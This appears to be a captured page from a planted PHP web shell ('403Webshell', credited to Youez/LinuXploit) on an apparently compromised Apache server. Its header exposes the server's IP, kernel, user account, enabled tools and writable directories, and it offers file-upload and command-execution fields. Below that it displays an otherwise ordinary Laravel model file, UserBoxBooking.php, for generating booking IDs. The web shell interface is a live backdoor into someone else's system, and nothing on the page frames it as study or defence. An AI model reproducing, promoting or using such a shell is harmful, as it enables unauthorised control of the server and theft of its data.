403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache2/htdocs/app/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache2/htdocs/app/app/Models/UserBoxBooking.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;
use Storage;

class UserBoxBooking extends Model
{	
    use SoftDeletes;

    protected $fillable = [
        'unique_id',
    ];

    protected $hidden = [
        'unique_id',
        'orderable_id',
        'orderable_type'
    ];

    //ORDER TYPE
    const INVENTORY_ORDER = 'inventory';
    const DELIVERY_ORDER = 'delivery';

    //ACTION TYPE
    const COLLECT_ACTION = 'collect';
    const DROP_OFF_ACTION = 'drop-off';
    const CANCEL_ORDER_ACTION = 'cancel-order';
    public const ACTION_TYPES = [
        self::COLLECT_ACTION,
        self::DROP_OFF_ACTION,
        self::CANCEL_ORDER_ACTION,
    ];

    //  relationship
	public function orderable()
    {
        return $this->morphTo();
    }

    // static
    public static function computedUniqueId()
	{	
		$last_booking = UserBoxBooking::withTrashed()->whereNotNull('unique_id')->latest('created_at')->first();

		$last_unique_id = (int)substr($last_booking->unique_id,5);

		$year = now()->format('Y');

		return self::getUniqueId($last_unique_id, $year);
	}

    public static function getUniqueId($count, $year)
	{
		$running_number = $count + 1;

		$unique_id = 'Z'.$year.str_pad($running_number, 7, '0', STR_PAD_LEFT);

		$user_booking = UserBoxBooking::where('unique_id',$unique_id)->first();

		if($user_booking)
		{
			$unique_id = self::getUniqueId($running_number, $year);
		}

		return $unique_id;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit